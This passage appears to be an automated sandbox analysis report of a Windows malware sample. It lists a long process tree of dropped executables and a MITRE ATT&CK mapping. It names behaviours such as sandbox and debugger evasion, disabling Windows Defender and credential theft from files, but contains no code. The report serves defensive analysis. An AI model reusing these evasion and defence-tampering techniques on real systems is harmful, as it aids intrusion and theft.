        PID:12360
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12368
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12376
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12388
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12396
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12404
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12412
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12420
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12428
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12436
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12444
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12452
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12460
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12468
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12476
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12484
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12492
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12500
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12508
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12516
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12524
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12532
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12540
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12548
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12556
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12564
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12572
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12580
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12588
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12596
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12604
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12612
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12620
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12628
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12636
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12644
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12652
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12660
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12668
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12676
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12684
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12692
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12700
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12708
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12716
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12724
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12732
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12740
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12748
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12756
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12764
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12772
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12780
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12788
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12796
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12804
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12812
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12820
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12828
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12836
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12844
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12852
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12864
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12872
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12880
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12888
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12896
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12904
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12912
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12920
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12928
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12936
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12944
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12952
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12960
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12968
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12976
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12984
        
        C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014336001\d1a21b71d5.exe"
        7⤵
        
        PID:12992
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2y3019.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2y3019.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3228
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3S32A.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3S32A.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1744
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4I088w.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4I088w.exe
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Windows security modification
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3232

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 872 -ip 872
1⤵
PID:3568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1616 -ip 1616
1⤵
PID:876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion